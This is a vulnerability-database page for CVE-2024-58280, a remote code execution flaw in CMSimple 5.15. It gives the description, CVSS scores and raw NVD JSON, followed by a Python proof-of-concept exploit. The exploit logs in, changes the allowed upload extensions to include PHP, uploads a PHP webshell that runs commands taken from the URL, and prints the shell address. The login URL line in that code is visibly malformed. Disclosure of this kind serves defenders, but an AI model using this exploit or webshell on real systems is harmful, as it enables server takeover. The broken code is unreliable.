Security Vulnerability Report
中文
CVE-2024-58280 CVSS 8.8 HIGH

CVE-2024-58280

Published: 2025-12-10 22:16:20
Last Modified: 2025-12-31 18:29:58

Description

CMSimple 5.15 contains a remote command execution vulnerability that allows authenticated attackers to modify file extensions and upload malicious PHP files. Attackers can append ',php' to Extensions_userfiles and upload a shell script to the media directory to execute arbitrary code on the server.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:cmsimple:cmsimple:5.15:*:*:*:*:*:*:* - VULNERABLE
CMSimple 5.15

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2024-58280 CMSimple 5.15 Remote Code Execution PoC # Author: Security Researcher # Target: CMSimple 5.15 import requests import sys from bs4 import BeautifulSoup TARGET_URL = "http://target.com/cmsimple/" USERNAME = "attacker" PASSWORD = "password123" def exploit(): """Exploit CVE-2024-58280: RCE via file extension modification""" session = requests.Session() # Step 1: Login to CMSimple login_url = TARGET_URL + "?">" + USERNAME login_data = { "login": USERNAME, "passw": PASSWORD } response = session.post(login_url, data=login_data) if "logout" not in response.text.lower(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Modify Extensions_userfiles to allow .php files config_url = TARGET_URL + "?_core/settings&admin=plugin_settings" payload = { "Extensions_userfiles": "htm,html,php,js,css,gif,jpg,png,zip", "save": "1" } response = session.post(config_url, data=payload) print("[+] Modified file extensions to allow PHP upload") # Step 3: Upload malicious PHP webshell webshell = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" files = { "file": ("shell.php", webshell, "application/x-php") } upload_url = TARGET_URL + "?_core/media&admin=plugin_media" response = session.post(upload_url, files=files) print("[+] Webshell uploaded successfully") print("[+] Access webshell at: " + TARGET_URL + "media/shell.php?cmd=whoami") return True if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-58280", "sourceIdentifier": "[email protected]", "published": "2025-12-10T22:16:19.723", "lastModified": "2025-12-31T18:29:58.403", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CMSimple 5.15 contains a remote command execution vulnerability that allows authenticated attackers to modify file extensions and upload malicious PHP files. Attackers can append ',php' to Extensions_userfiles and upload a shell script to the media directory to execute arbitrary code on the server."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-403"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cmsimple:cmsimple:5.15:*:*:*:*:*:*:*", "matchCriteriaId": "1A242371-65BD-4A8F-AAD0-D390BCC73B67"}]}]}], "references": [{"url": "https://www.cmsimple.org", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.cmsimple.org/downloads_cmsimple50/CMSimple_5-15.zip", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/52040", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.vulncheck.com/advisories/cmsimple-remote-command-execution-via-extensions-configuration", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}